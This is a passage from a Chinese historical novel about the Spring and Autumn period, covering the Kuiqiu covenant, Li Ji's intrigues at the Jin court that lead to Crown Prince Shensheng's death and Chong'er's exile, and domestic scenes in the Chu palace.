楚成王把一根牵马的引绳交给许姬,然后自己上前手牵着马在国馆门前绕着许男夫人和许国送亲的亲人走了三圈,然后上车,驾车直向楚宫。
车至茅门,楚成王先下车,然后将许姬扶了下来,向祖庙走去。走到刀山面前,许姬的腿有些发抖,楚成王小声地说道:“不怕,从刀缝中穿过。”说完扶住许姬,小心翼翼地抬脚踩入刀缝之中,站稳以后,又紧托起她的两只胳膊,让她抬脚踩到另一个刀缝之中。两人循缝游来趟去,终于一起趟了出来。接着,楚成王以右手拉住她的左手,迅速越过火海,楚成王迅即为她拂去身上的火星,整理好衣妆,便一齐走进祖庙。
楚国的宗室成员也随即跟入。这时,站在一边观看的蔡妃牵着商臣的手,气呼呼地转身就走,从子文和屈完面前经过时,也不打招呼,两人本能地退后两步!让她过去。子文望着她的背影,对屈完说道:“蔡妃不满而退,后宫有祸也!庶妻之礼高于正妻,岂能不生祸灾?”
“蔡妃欲作乱乎?”屈完对蔡妃的举止深为不满!
“蔡妃作乱事小,庶嫡之争事大也!”
屈完望着蔡妃远去的背影,说不出一句话来。
第30章 葵丘之盟霸主巅峰
题记:葵丘之盟,标志着抗击四夷的年代结束。中原争霸的序幕随之拉开,一心称霸的宋襄公登上历史的舞台。
再说齐桓公刚从宁母回到临淄,便接到太子郑的密报:在位二十四年的周惠王驾崩了!齐桓公深知王子带有惠后撑腰,要夺继位大权,故太子郑不敢公开发丧,只密报于齐。齐桓公便星夜兼程,带兵入京,以霸主之威,扶立太子郑登上王位。他,就是周襄王。
周襄王顺利继位,自始至终都依赖齐国,深感齐桓公是稳定中原的天柱,他心怀感激之情,令新任的大周卿士周公忌父前往齐国,赐齐桓公胙(zuò做)肉,以表其功德。
天子赐胙,是对诸侯的最高奖赏!齐桓公不敢怠慢,忙选址宋国葵丘,令人筑起高高的会盟台,传召中原诸侯会盟,举行隆重的受胙仪式。
公元前651年夏天,周廷特使周公忌父领衔,齐、宋、卫、郑、许、曹六国诸侯相继来到葵丘。可就在这时,公认的中原副霸主,齐桓公最坚定的支持者宋桓公御说薨逝了!他的嫡子兹甫披麻戴孝,代父匆匆赶来赴盟,让齐桓公感动不已。
会盟台上,天子和列国旗帜迎风飘舞,天子特使周公忌父独立鼎前,焚香祭天。他是周公旦的后裔,周公黑肩的孙子,字宰孔。只见他头戴黑色圆形高冠,身穿深红色长袍,清癯的脸上,两眼肃然前望,高声说道:“天子新承大统,祭祀大周文王、武王并历代先圣之灵!遣宰孔致礼伯舅,赐胙!”
长号齐鸣,鼓声动地。台下列国诸侯及随臣肃立于台阶之下。身材高大的齐桓公头戴黑色七旒之冠,身着紫色蟠龙锦袍。宽大的脸庞之上,一双大眼久久仰望着天使。他鬓角的白发已依稀可见,眼袋隆起,眼珠现出褐色。听到天子特使赐胙,满眼泪水盈眶,正要上前拜谢,只听宰孔又说道:“天子后命,齐侯谨听:伯舅年高,有大功于中原,加赐一级,免拜!”
齐桓公听罢,更是感激无地,不知所措。管仲小声说道:“礼不可废也!”齐桓公忙跪下说道:“天威不可违!天颜咫尺,如在眼前!小白岂敢贪天王之命而不下拜?逾越大周之礼,必遗羞天王也!”说完随即跪下三拜;又起再拜;三起还拜!三跪九叩之后,虔诚登上盟台,接受胙肉。
众诸侯随即跟上,列于香鼎之后,管仲向前走出,宣读盟誓:
“奉天承命,天朝卿士忌父、齐侯小白、宋子兹甫、卫侯毁、郑伯捷、许男业、曹伯班会盟葵丘,同立盟约,共遵不渝:
初命:诛不孝之子,禁废嫡另立,无以妾为妻。
再命:尊贤育才,以彰有德。
三命:敬老慈幼,厚待各国旅人。
四命:士官无**,广招人才。无使一人专权。人尽其才,量才录用。不得擅杀大夫。
五命:不得擅决堤防,擅断水路;不准阻止粮食流通;封赏须告天子!
凡我同盟之人,既盟之后,言归于好。如违此誓,无享其国。”
这时,第一次参加这种盛大活动的宋国太子兹甫仰望霸主的背影,心中充满无限崇敬之情,对身边的右师公子成道:“齐侯之德,垂范永世也。”公子成小声说道:“惜齐侯老矣。”
兹甫一听,生出一股豪气:“霸主之德,必有传承,中原舍我其谁?”
公子成一听,惊讶地望着未来的君主,一时说不出话来。
葵丘之盟是齐桓公人生的巅峰。此时,他已年过花甲,而管仲更是年过古稀。就在会盟之前,宾无须也去世了。齐国五贤已去两人。只剩管仲、鲍叔牙和隰朋强撑齐囯大局。而管仲已经看到齐桓公宠爱的公子开方和竖貂心术不正,而另一个内侍易牙更是心狠手辣。齐宫有人预言:桓公若薨,此三贵必然乱国。因此,早立太子,并寻找辅弼之人帮助太子,已是当务之急。
齐桓公与管仲商定:老三公子昭,人品端正,聪明能干,可成大器,立为储君。
参盟的诸侯全都走了,崇拜齐桓公的兹甫见霸主未动,也相陪不离。管仲听说他曾一心让位于哥哥目夷,便对齐桓公说道:“太子所托之人,非宋子而谁?”
西周时期,嫡子服丧期间,只能称子,天子也只能称小童。只有守满孝期之后,才能称君道王。齐桓公也看中了这个与他志同道合的副霸主之子,便召他入帐,对他说道:“齐、宋同心,共护中原久矣!汝子承父德,寡人甚慰。今托嫡子昭于汝,待吾百年之后,若有危难,汝当辅其承位,万勿有失!”
兹甫一听,感激得五体投地:“兹甫谨记方伯之托,如违尊意,天地不容!”
会盟终于结束了!周公忌父正乘车回都,走到半途,却见前面晋献公的辂车急急驶来,看见天朝大臣的乘车,立即停车下来,问候周公。宰孔说道:“盟会已散,君何来迟?”
晋献公头发花白,满脸憔悴,顿脚说道:“内乱不歇,出行迟矣!”
见他如此恐惧惊慌,宰孔知道,他是畏惧齐桓讨伐。一个大国之君,如此畏惧齐桓公,却对天子不闻不问,身为天朝首辅的宰孔只觉不是滋味,便说道:“君不与会,亦无悔也!齐侯不修德政,而好经略中原。故北伐山戎,南征楚国,今作葵丘之盟,势必向东征讨!惟西鞭长莫及,难顾晋国之乱也。君须回国靖(jìng静,平定)乱,无勤与盟!”
现在,晋国已是血雨腥风,听说齐桓公无力讨伐晋国,晋献公便调转马头,急急回国去了。
百年**后的晋国,又有什么灾难降临呢?
晋献公灭掉桓、庄二族,为对二族赶尽杀绝,又假虞灭虢,既巩固了自己的权势,又开疆拓土,国家安定下来。
曲沃代晋的百年争斗,使胜利的一方更加崇尚武力。这一年,晋献公领兵征讨紧邻晋国南境的骊戎国,弱小的西戎之国无力反抗,只好投降。为求生存,骊戎国君把自己的一对女儿送给了晋献公。晋献公一看,立即被长公主骊姬的狐媚眼迷住了。那性感逼人的长脸,西域女人高高耸立的鼻梁,天然红润的鹅卵般的嘴唇,让晋献公怦然心动。而她高挑而丰满的身材,那高高隆起的双乳和曲线迷人的腰肢,更是充满着异域的热辣与狂放,晋献公一见倾心,叹为天人。把她连带妹妹骊戎一起带进宫来,从此三人缱绻缠绵,春宵苦短。不久,骊姬为他生下一子,取名奚齐;骊戎也为他生下一子,取名卓子。
这天,晋献公下朝回到后宫,只听一个甜美的声音飘来:“夫君回宫也!”风情无限的骊姬摇着她性感的长腰迎上前来,为他脱下绛色锦袍,扶腰席地而坐,自己却一屁股坐到他身上,两只长蛇般的双臂将他的脖子缠住。两人缠绵许久,骊姬突然哀声叹道:“夫君今日宠爱小童,然小童母国邦小势微,明日一旦年老色衰,必将弃之宫外矣!”
“美人何出此言?寡人必让爱妃富贵终生,永不相弃!”
“夫君有心,国人无意!小童侍奉夫君五载矣,无名无份,前殿后宫皆可欺我,终将被赶出宫!”年轻的夫人面对夫君自称小童,年长者则自称老妇。
晋献公沉默不语,许久才说:“寡人欲立爱妃为夫人,然众臣皆曰不可,如之奈何?”
“强臣在前,夫君不能自主也!”骊姬伤心地说道。
“谁言寡人不能做主?我必立美人!”诡诸果然上钩。
原来,晋献公为嫡子时就娶了一名贾国公主。但贾姬不能生育,遭到嫌弃。父亲晋武公一去世,他便把父亲年轻漂亮的夫人齐姜给烝(zhēng睁)了。有了这风骚性感的齐国女人,贾姬从此
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被抛至一边。很快,生命力强盛的齐姜为他生下一男一女。其女就是嫁给了秦穆公的伯姬。而儿子更聪明英俊,取名申生,立为太子。齐姜便成为争夺夫人之位的最大竞争者。但晋是礼仪之国,晋献公是以子蒸母,故齐姜也未封为夫人。
所谓烝,就是以下淫上。可齐姜被烝几年后,戎国又来攀亲。戎国又分大戎和小戎。大戎也是唐叔虞的后代所立,故姓姬,以狐为氏,大戎公主狐姬美而贤,诡诸一见钟情,两人如胶似漆,又把齐姜给忘了。一天,晴朗的天空乌云重重,春**耳。只见一条乌龙自天而降。狐姬受惊大叫一声,生下一个儿子,取名重耳。
小戎是典型的允姓戎族,所嫁之女叫戎子,她也生下一个儿子,取名夷吾。
十年之内,晋献公连蒸带娶,讨了贾姬、齐姜、狐姬、戎姬、骊姬和骊戎六个老婆,生了五男一女六个子女。几乎个个都能做夫人,但又都有不足。关键是,晋献公见了新欢就忘了旧爱,心思当然就落在骊姬身上。
这天,晋献公举朝,诸事议毕,便说道:“今朝中大事皆定,唯后宫无主。寡人之意已决,惟立骊姬,方能家和国兴!”
士蒍第一个反对,他说道:“**之女,不可立也。骊姬狐媚之相,乃乱囯之兆,国君谨思。”
大夫毕万也说道:“齐为当今霸主,申生乃国之嫡子,齐姜贤淑聪慧,堪为夫人,请国君册立齐姜。”
毕万是周文王的后裔。他的先祖就是周武文王姬昌的第十五子姬高,因封到毕国(即陕西咸阳)为君,史称毕公高,与姜子牙、周公旦、召公奭并称大周四贤。但不幸的是,就在十年前,毕国为西戎所灭,毕万便逃到晋国为臣,为晋献公所重用。他后来封到魏地,成为战国七雄魏国的始祖。
另一个大夫赵夙却说道:“狐姬乃大戎之女,人品端正,无有瑕疵。其子重耳忠孝仁义,立为夫人最为恰当。”
赵夙是周幽王时期宗周大夫赵叔带的后人,嬴姓,是伯益的后裔。因幽王不听劝谏,赵叔带感叹地说:“危邦不入,乱邦不居!”于烽火戏诸侯的前一年逃到晋国。赵夙是他的五世孙,此时已年过五十,老成持重,深得晋献公器重。他,就是战国七雄赵囯的始祖。
士蒍、毕万和赵夙,是晋献公倚重的晋国三杰,三杰都反对立骊姬,让晋献公不知如何是好,他便变换花招,说道:“不如卜筮,以测吉凶。”
态度如此对立,只有卜筮能解决问题,双方都只好同意。首先当然是卜筮立骊姬的吉凶。
卜,就是烧龟壳根据裂纹判定卦象;筮(shì是),就是抓一把筮草撒在地上,再根据筮草的排列形状判定卦象。中原历来以卜为主,筮作为补充和参考。卜筮的结果是:卜不吉,而筮吉。
众人关注的是卜的结果。那爻辞是:“专之渝,攘公之羭(yú鱼),一蕃一莸(yóu犹),十年尚犹有臭。”
专,就是专宠,渝是改变的意思。专之渝,就是专宠会导致变故!羭是美的意思。攘公之羭是古代的一个成语,即掠人之美,有损美名之意。蕃是香草,莸是臭草。卜辞之意是:专宠会导致变故,损坏美德,香草和臭草混同,将十年臭味不散。
“既然筮吉,就依筮卦,可立骊姬!”晋献公说道。
“不可!卜筮以卜为准,卜卦显象,若立骊姬,晋将十年不宁也!”士蒍说道。
“然筮卦吉利!就依筮卦!”晋献公专断地说道。
公元前666年,晋国立骊姬为囯君夫人。三杰虽然受宠,但都是逃亡至晋的外人,不敢强谏。遭受西戎灭囯的毕万,深知戎人的残忍,预感这个狂野的女人要为祸晋国了。虽然乱邦不居,但,他还能逃到哪儿去呢?
第31章 骊姬乱国 重耳逃亡
这天夜里,晋献公因处理国事回来较晚,一进后宫,只见灯火幽暗,宫内冷寂无声,顿感骊姬寂寞,急急进入寝殿,仍无人影,却闻嘤嘤地哭泣声,仔细一看,骊姬孤身一人,躲在墙角伤心地啜泣,满眼泪花闪闪,让他心痛不已,忙将她抱了起来,温柔地问道:“心肝儿,为何向隅而泣?”骊姬一头栽进他怀里,伤心地说道:“妾将死矣!”
“寡人尚在,谁敢加害美人?”献公百般抚慰。
“世子大臣,皆望我死!我死不足惜,只叹奚奇可怜也!”
“申生生性善良,岂会加害美人?重耳、夷吾亦不敢,美人勿忧!”
“今日不敢,然君上若有闪失,妾必死无疑也!”
此时,晋献公的心已被她揉碎,他无奈地说道:“似此,如之奈何?”
“夫君若怜爱奚奇,请立为世子。则无人敢再加害也。”骊姬终于说出了心里话。
拥着这个千娇百媚的女人,晋献公意随情走,废长立幼之心渐起。但,申生是举国公认的太子,臣民拥戴,要废长立幼,岂不遭国人反对?怎么办呢?他感到左右为难。
晋宫有两名大夫,一个叫梁五,一个叫东关五,人称二五耦。耦,用现代方言解释就是“活宝”。两个活宝因长相俊美,又善巧言令色,深受晋献公喜爱,时称外嬖,即男宠。经常进入后宫为献公取乐。骊姬便抓住机会贿赂二人,继续实施自己的计划。
这天,二五藕进宫,讲了几个段子,让献公开心不已。梁五趁机说道:“曲沃乃公室宗邑,蒲地与屈地为边疆要塞,不可无人主事。若戎敌来犯,将为国之祸也。若世子主持宗邑,重耳、夷吾镇守边塞,则使百姓安定,戎狄畏惧,更显君上威德!如此,则一举三得。”
晋献公一听,高兴地说:“然也!为国戍边,诸子之责,国家之幸也!”便将曲沃封给了申生,把蒲地封给重耳,把屈地封给了夷吾。晋国最有影响力的三位公子,全部被赶出降都。
曲沃曾是夺取翼城政权的大本营,是龙兴之地,封给太子似乎没什么不对,可士蒍却看出了玄机。他对申生说道:“世子将不能为君也!世间岂有世子封地之理?不如效仿太伯、仲雍,自行逃走。逃后太伯为吴国开元之君,美名流传,岂非更好?谚语有云:心若无瑕,何患无家?天若保佑世子,岂止只在晋国?”
可申生说道:“身体发肤,受之父母!君父之意,安得违逆?不可背国他往。”此时的申生,还难解父亲之意,根本不知道自己为何分封到曲沃。
骊姬的计划完成了第一步。
一天,骊姬派人到曲沃对申生说道:“孤家昨夜梦见齐姜,其垂泪告曰:‘妾于黄泉之下,无人祭祀,更无享飨(xiǎng想),孤独饥饿,魂将散也’世子宜速祭母亲,以慰亡灵。”
申生听罢母亲魂魄孤独饥饿,顿时泪如雨下,立即在曲沃举行隆重的祭礼,以酒食和鸡鸭牛羊等祭品,以飨母亲。太子大祭三天,自然要将祭酒和祭肉献给思念母亲的父亲。这是祭祀之礼,也是孝道。
申生亲自将祭酒祭肉送入宫中,骊姬笑吟吟地接受,说道:“汝父军务繁忙,居外未归,待其回宫,必代汝献上,以全人子之孝。”申生便放心地回曲沃去了。
六天以后,晋献公回宫。这天晚餐之时,骊姬对他说道:“世子祭祀母亲,特送来祭酒祭肉,孝敬父亲。”说着,把祭酒祭肉摆到桌上来。
晋献公一听,心感慰藉,怀念前妻,端起祭酒就喝。骊姬急忙拦住,说道:“此为世子祭母之酒,夫君应先祭齐姜,以全太子之心,以彰君夫之德。”
晋献公觉得有理,便把酒洒到地上,谁知地上立即呼哧哧地直冒泡沫,地面顿时隆起!晋献公大吃一惊,骊姬一下跪在地上,说道:“世子进献之礼,岂会有毒?夫君勿惊,妾再试之。”说完起身,将酒倒入一条小狗嘴里,小狗顿时毙命。骊姬还是装着不敢相信,又叫来一名内侍,令他喝下,内侍满地乱滚,断肠而亡。
骊姬又跪下,哭道:“世子加害君父,小童实不知也!君上立储封地,于世子恩宠有加,世子何忍?其父尚欲弑之,况他人乎?”
晋献公气得七窍生烟,可事关重大,父子连心,他仍茫然不语。骊姬又说道:“世子所忌惮者,不过是贱妾与奚齐耳!妾愿母子逃往他国,而免遭世子蹂躏!前者,夫君欲废世子之位,妾犹不忍,于今思之,悔之莫及也!”说着,又嘤嘤地哭了起来。
此时,燃烧的愤怒已使晋献公失去了理智,加上骊姬火上浇油,他怒从心底起,喊道:“竖子无礼,孤必杀之!二位爱卿何在?”
“臣在!”梁五和东关五应声而出!
“速查此事!不得有误!”
“臣等遵命!”二五藕心中暗喜。
第二天,晋国举行朝会,晋献公怒气冲冲地问二五藕道:“昨晚毒酒之事,可否查实?”
梁五答道:“实为世子所献,宫中之人多有亲见,查实无误!”
晋献公早存废嫡之心,他怒道:“世子失德,意欲毒害寡人!弑君杀父,罪不容恕!”
仁爱的申生怎会毒害父亲?满朝大臣都已看穿骊姬的这套鬼把戏!知道晋献公废立之心已决,一个个感到寒意彻骨,沉默无言。
大夫丕郑挺身而出,说道:“世子仁爱,人所共知!怎会弑君杀父?此事定有蹊跷,国君明鉴!”梁五立即说道:“祭酒之毒已经应验,大夫何疑?世子恃功而傲,忤逆之心昭然!若无防患,社稷危矣!”
丕郑不知内情,无言以对。东关五担心群臣再谏,赶紧说道:“国君或逊位世子,或诛世子以谢天下,临危不决,大祸将至也!”他一语如刀,直刺晋献公心灵那仅存的柔软处。他睁着那猩红的眼睛怒吼道:“不杀此子,家国不宁,二卿速往新城,诛灭申生!”说完起身回后宫去了。
新城就是曲沃,东关五和梁五受命后刻不容缓,连夜率军出发,直奔曲沃。
可骊姬仍不罢休,为了永绝后患,她又用两条长蛇般的白臂缠住晋献公的脖子,柔情似水地说道:“夫君宠爱妾身,吾母子必舍身以报。然妾闻世子与重耳、夷吾过从甚密,此二子昨日来绛都,不敢见夫君,今日匆匆又去。必然与世子合谋,若不诛之,二人同反,国将不保矣!”
此时,年迈昏聩的晋献已完全被骊姬左右。如果留下重耳与夷吾,奚奇仍难承位。他已经诛杀过一次桓、庄二族的群公子。干脆一不做二不休,厉声吼道:“传令寺人披即往蒲城,诛杀重耳!令贾华速去屈地,诛杀夷吾!”
晋宫禁军急急出动,又分二路而出,晋国黑云压城,风雨欲来。
先说申生在曲沃接到密报,二五藕正率军赶来,他痛心疾首,长叹一声,悲哀地说道:“君忧臣死,吾岂能善存!”
他的师傅杜原款说道:“世子须进宫自辩,国君必能判明是非!”
申生想了想,说道:“百善孝为先!若君父知我无罪,必治骊姬之罪。君父无骊姬,居不安,食不饱。君父老矣,我心何忍?”
“若然,世子当逃也!”师傅年近六十,已是鬓发半白,中等个头,也是一个老实人,既然不能自清,便只有这一条路了。
“君父尚未实察此罪,逃之不孝!以弑君杀父之名远逃,谁会容我?若申述冤情,必然彰父之恶于中原,贻笑诸侯,是辱国辱君,乃大不孝也!”
这时,诛杀他的军队正奔曲沃而来,他既要坚守忠孝,又不愿背弑君篡位之名外逃,便只求一死。文韬武略的晋国太子申生在他生命的最后时刻,含泪焚香,向东而拜,伏地长哭之后,自缢而死。
二五耦不久即至,太子已死,两人仍不罢休,将正伏尸痛哭的杜原款和府中之人全部诛杀,才带着申生的尸首回都。
与此同时,晋献公的老丈人狐突在家,突然接到国君诛杀重耳与夷吾的急报,坐立不安。狐姬是他的女儿,重耳是他的外孙,深得他的喜爱!他观其相貌,总觉此子禀赋非凡,且出生之时便有异象。前思后想,便把狐**和狐偃两个儿子叫来,令其跪下,语重心长地说道:“世子受诛!晋国将乱,汝甥重耳危在旦夕!当此之时,尔等速去蒲城,助他逃脱!重耳资质非凡,日后必成大器,汝二人须助他渡过难关,切勿半途而废!”
狐**狐偃长就西域男人的高大身材,与重耳年龄相近,自幼舅甥一起长大,三人情投意合,狐**义无反顾地拜别父亲,带着弟弟星夜直奔蒲城。
此时,独守蒲城的重耳也得知祸从天降,性格优柔的他,一时也不知所措。
此时他已四十出头,和父亲一样,身材高大壮硕,宽大的脸上,生就一双奇异的重瞳大眼,高高的鼻梁,挺拔如削,嘴唇且薄且宽。他生性木讷,不善言辞。此刻更是犹豫不决。是立等受诛,以全孝道;还是无罪而逃,枉背罪名?正在两难之时,狐**兄弟赶来,说道:“寺人披率军至矣,世子已亡,速速逃走!”
话刚落音,长发披肩,眼珠暗绿的晋宫宦官寺人披已率军杀到门口,家人冲出抗阻。重耳却喊道:“抗君之令者,是我仇也!”
家人一听,扔下武器就逃!寺人披挥剑乱砍,已经冲了进来。狐**兄弟拖住重耳直奔后院。狐偃身体轻盈敏捷,一下跃过后墙,管家壶叔也翻了过去。狐**推重耳翻墙,重耳体重,一下滑了下来。武功高强的狐**见寺人披已冲到后院,便用足力气,将他上推,狐偃与壶叔趁势一拉,把重耳拉了上去。
就在这时,寺人披已经赶到,一手抓住重耳的衣袖,挥剑就砍!将长袖砍断,四人吓出一身冷汗,夺路疯狂奔逃。
西北荒野的冬天,天寒地
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冻,满目苍凉。四人亡命狂奔,寺人披疯狂追杀,直至四人钻进莽莽山林之中,那凶恶的寺人披才带着重耳的衣袂回宫复命。
天色已暗,天空开始下雪了。四人如丧家之犬,从这天寒地冻的森林之中走了出来,此时已是饥寒交迫。面对这茫茫雪野,他们又能去哪儿呢?
狐偃说道:“临行之时,父亲嘱咐,若无去处,可先去翟(dí狄)国。翟素与晋亲,离晋最近,又为公子母舅之国。公子有意否?”
堂堂晋国的二公子,首次品尝背井离乡,亡命天涯的沧桑和凄凉。此刻,只要逃过追杀,能找一个地方安身立命就够了。于是,四人直奔翟国而去。
翟国是一个古国,相传为黄帝后裔所建,立国于今日河南洛阳,早已成为隗姓的赤狄之国。周灭商后,周成王封自己的小儿子为翟君,迁都于今陕西耀县和富平一带,在晋囯的西北面。故虽为隗姓赤狄之国,公室却是姬姓,与中原亲近,长期与晋联姻。
这天清晨,翟君上朝,对众臣说道:“寡人昨夜做一奇梦,梦满城百姓纷纷出城观看奇景。寡人急出一看,见一巨龙盘于城楼之上,龙首低垂,目光如炬!百姓争相朝拜,不知此兆何意?”
巫师解析道:“龙为中原之神,盘踞城楼预兆久居吾国,龙首低垂是有难也。目光如炷是欲飞也!今日必有中原贵人驾到,国君宜善待之!”
果然,重耳黄昏即至,翟君闻报是晋囯的外甥到来,更是喜笑颜开,开东门亲自出营,设大宴洗尘。四人便在翟国安顿下来。
在重耳逃出蒲城的同时,三公子夷吾正在屈地。大夫贾华率军急奔而来。贾华是贾姬的弟弟,因姐姐不能生育,在宫中毫无地位。而他从小就和夷吾要好,不忍杀他,便暗暗嘱咐自己的心腹前往报信。夷吾接到贾华的密信,立即收拾金银细软,带着心腹郤芮和吕甥跑到梁国去了。
周宣王时期,嬴姓的第四代宗伯秦仲奉命伐戎,战死沙场。周宣王为抚恤他的后代,将他的次子秦康封到今天陕西韩城一带,国号梁。梁与晋国交好,当然是晋国**时期最好的避风港。
晋国最有名望的三位公子死的死,逃的逃。加上二五耦到处诛杀同党,使晋国处于血雨腥风之中。
这时,赵夙已借年迈为名,退隐封地耿邑。但,他的儿子赵衰(cuī崔)也从小与重耳一起长大,长期追随重耳。听说狐突叫两个儿子助重耳逃亡,便对赵衰说道:“晋国大乱,祸福无常!汝须逃走,方可免祸。我观诸公子中,惟重耳可当大任,汝可随之,以图后举!”
此时,与重耳一起长大的先丹木之子先轸,晋献公的第一夫人贾姬的侄儿贾佗都与重耳一起长大,两人都来找赵衰商议。三人一拍即合,都想逃离晋国,去与重耳会合。
先轸的父亲先丹木是晋国的武将,性情耿直、暴烈,长期追随太子申生。现在申生被诛,他更觉得时局凶险,令儿子先轸随重耳**。贾佗的姐姐贾姬自嫁晋献公后,一生无子,致使晋人灭了贾国。使弟弟贾华和侄儿贾佗都不受重用,贾佗宁愿与重耳**,也不愿留在晋国。
想逃离晋国的远远不止这三个人。
年迈的毕万在魏地冷观时局。当年,他担任晋献公的车右,封于魏地,卜筮为大吉之兆,便安心居魏。子孙从此以魏为氏。今见晋国大祸将至,便令力大如牛的儿子魏犨(chōu抽)随重耳逃走。魏犨武功高强,但头脑简单,便去找好友胥臣。
胥氏是晋国的旧族,胥臣的爷爷胥懿、父亲胥柯,都是晋朝老臣,虽默默无闻,但是书香门第,极其重视子女的教育。胥臣见国君昏聩,贤人纷纷外逃,便随魏犨一起逃亡。
两人来到耿邑,与赵衰、先轸、贾佗会合,商定一起投奔重耳。五人立即出发,路遇魏犨在军中的好友颠颉。颠颉见贤士们都去投奔重耳,也要求同往。六人经过闻喜县户头村时,村中的贤人介之推认识赵衰,也丢下家中老母,追随而去。
这样,赵衰、先轸、贾佗、胥臣、魏犨、颠颉、介之推及其随从十多人直奔翟国而来。重耳一见,又惊又喜,问道:“诸位如何舍家弃业,远涉来此?”
赵衰说道:“今狐姬妖言惑主,二五耦滥杀无辜,国家大乱,人人自危!惟公子能挽大厦之将倾,救生灵于水火,故来相投,以图后举!”
“众位大难不弃,舍家相从,重耳铭刻肺腑!若此生难归,吾之罪也!”重耳沮丧地说道。
身材高大粗壮,满脸胡须的魏犨说道:“公子贤名远播,三晋盼归,必成大业!若借翟国之兵,召蒲邑之众,回国靖难,诛杀奸逆,国人谁不与从?”
“如此,则与君父为敌,万万不可。先就此安歇,再徐徐图之。”重耳遭此大劫,明显心灰意冷。众人不好多说,都在翟国安顿下来。
第32章 奉匜沃盥 侍执巾栉
许妃睁开眼睛,发现窗外现出一片白色,感到天已经亮了。她看了看身边还在熟睡的楚成王,轻轻揭开锦被,慢慢把身子挪了出来,小心翼翼地穿上一件有云雀纹绣的红色锦衣,又拿起一件萱草绣案的棕色绢裳缓缓穿上,便下地穿上一双蓝色布履,蹑手蹑脚地走出寝房。
寝房外是大堂,侍女们已开始清扫地面,擦洗桌椅、香案、凤凰神牌等物件。见到许妃,一个个停下手里的活计,双手下垂,躬身说道:“夫人早!”许妃点点头,用手示意大家继续干活。她穿过大堂,走进后屋的厨房,庖厨和侍女们已经开始忙碌了。
主侍云儿正在清洗一种叫鬲(Lì利)的炊具。鬲有点像鼎,但它只有三只脚。楚国的鬲脚很长,主要方便烧火煮食。
“夫人身怀有孕,为何大早即起?”主侍云儿关切地问道。
许妃问道:“熊蹯炖得如何?”
云儿清洗的是一个精致漂亮的铜鬲,这种鬲专用来煮菜:“熊蹯从昨晚炖到现在,大王可用也!”
许妃走了过去,见一只极像今日钵碗的铜簋(guǐ轨)装满了香喷喷的熊掌。许妃笑着说道:“甚好!昨晚我还梦见自己煮熊蹯,可总是煮不烂!”
谁知另一位正在擦洗一只陶鬲的侍女嘻嘻地笑道“夫人梦煮熊蹯,是生男儿之兆也。”
云儿一听,问道:“芷兰,此话当真?”
“虽为乡野传说,却也灵验!”
“芷兰自乡间来,还有何种传说?”许妃问道。
“乡间有传,怀孕之人不能起得太早!”芷兰幽默地说道。
大家都笑了起来。这时,云儿已将铜鬲清洗完毕,开始生火。芷兰清洗的陶鬲既粗糙,又高大,她清洗完后,也开始生火烧水。等火点燃,她发牢骚道:“陶鬲为乡间百姓所用,现今各宫皆用铜鬲,夫人为何还要用陶鬲?”
许妃笑着说道:“陶鬲虽陋,以之煨汤,味道更鲜。”
芷兰睁大眼睛,说道:“难怪夫人的鱼圆汤鲜美无比,莫非是陶鬲的缘故?”
许妃诡秘一笑,说道:“吃过楚国的鱼圆汤,汝可知道它的来历?”
芷兰是许妃从许宫带来的媵人,说道:“有何来历?夫人说来听听。”
“嗨,”许妃咳嗽了一声,说道:“传说文王爱吃鱼,可有一次被鱼刺卡住喉咙,痛了几天才弄出来,自此不敢再吃。一天,做鱼的庖厨怕大王怪罪,用刀背猛锤俎板上的鱼块,骂道:“汝为何长刺?弄得大王不敢吃鱼?”谁知鱼肉被锤烂,变成鱼茸,鱼刺从鱼茸中滑了出来。庖厨大喜,心想,用鱼茸做菜,不就无鱼刺了?
“为使鱼茸松脆,她将荸荠切碎和入其中,为鱼茸有黏性,捏成鱼圆,她又掺入芡粉。再加姜、葱,煨出鱼圆汤,送给文王。文王一尝,味道鲜美,又无鱼刺,大加赞赏!便有了这鱼圆汤!”
“夫人刚来楚国,便知我楚人之事,真是有心之人。”那个正在做鱼圆的厨娘说道。
许妃走了过去,笑道:“莫非你便是那庖厨?”
那厨娘咯咯地笑了起来:“夫人取笑,羞煞我也。”
许妃突然想起什么,转头问道:“云儿,今日可有吴羹?”
云儿一惊,说道:“尚未安排。”
“酱菜可有?”
“有。”
“那就好,我来做吴羮。”许妃说道,就到酱菜房去取。
“我来我来,何劳夫人动手。”云儿急急追了过去,抢先进入酱菜房,打开一个坛子,用手抓了一把酱菜出来,放进一只铜簋之中,仔细一看,问道:“此为何菜?”
“哈哈,你猜!”许妃笑道。
“像是豆角!”
“非也,是白蒿与**蒌的根茎。”
“这种野菜,从未见过。”
“这是吴人发现的野菜,楚地到处都是。腌过之后其味酸辣,须用热水清洗,再放入鬲中烧煮,加入蜂蜜、蔗浆汁、姜、蒜等调料,便又酸又甜,味美无比。”
“夫人还会做吴菜?”云儿一面看着她制作吴羹,一面说道:“难怪大王总住南宫,蔡妃又要发脾气了!”
许妃一惊,说道:“休得胡言!”
这时,芷兰用一木瓢,将热水舀入一个极像今日脸盆的铜质的匜(yí移)中,说道:“请夫人沃盥!”
“大王或已睡醒,让大王先用!”许妃指着煮沸的吴羹,对云儿说道:“调料已加,再煮片刻便可。”说完,带着芷兰来到寝殿,楚成王果然已经起床。许妃指示芷兰将一匜热水放在一个黑漆金花的木案上,取来一条罗巾,说道:“请大王沃盥!”
楚成王过来,俯身洗脸,洗了不久便站立起来,许妃立即将罗巾递上。楚成王接过来把脸上的水擦干,便把罗巾交还许妃。这时,云儿端着-簋热腾腾的熊掌进来。许妃立即把罗巾交给芷兰,接过熊掌,说道:“大王用歺!”说完,将熊掌放在窗前的一个专供楚成王用歺的红漆暗花的台案上,请大王坐下用歺。
这时,后宫厨房的侍女们将
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姜枣糕、蛋米饼、蒸牛筋、豺肉、吴羮、瓜酱、鱼圆汤等等十几样糕点、肉食和瓜菜送来,许妃一一接过,均匀地摆放在宽大的台案上。楚成王临案席地坐下,扭过头对许妃说道:“夫人有孕在身,不宜劳累,来,与我同用!”
“童子不饿!大王先用!”许妃笑着说完,又接过芷兰端来的热水,开始自己洗漱。洗漱完毕,便坐上梳妆台。云儿立即上来为她梳头。伶俐的云儿将一绺绺黑发梳理完毕,便要为她卷发。
“我自己来。”许妃说着,双手伸向后脑,先将头发扎成马尾,卷弯向左一绕,接着向下一绕,头发立即盘成一个圆髻。细心的她把余下的乱发一一塞进圆髻之中,再用银笄自下往上插了进去,然后把笄头往上一扳,圆髻立刻竖了起来,那雕如云雀的笄头便竖立在圆髻之上,那雍容的气度立即显露出来。
“爱妃果然手巧,发型格外好看!”楚成王竟然在偷看。
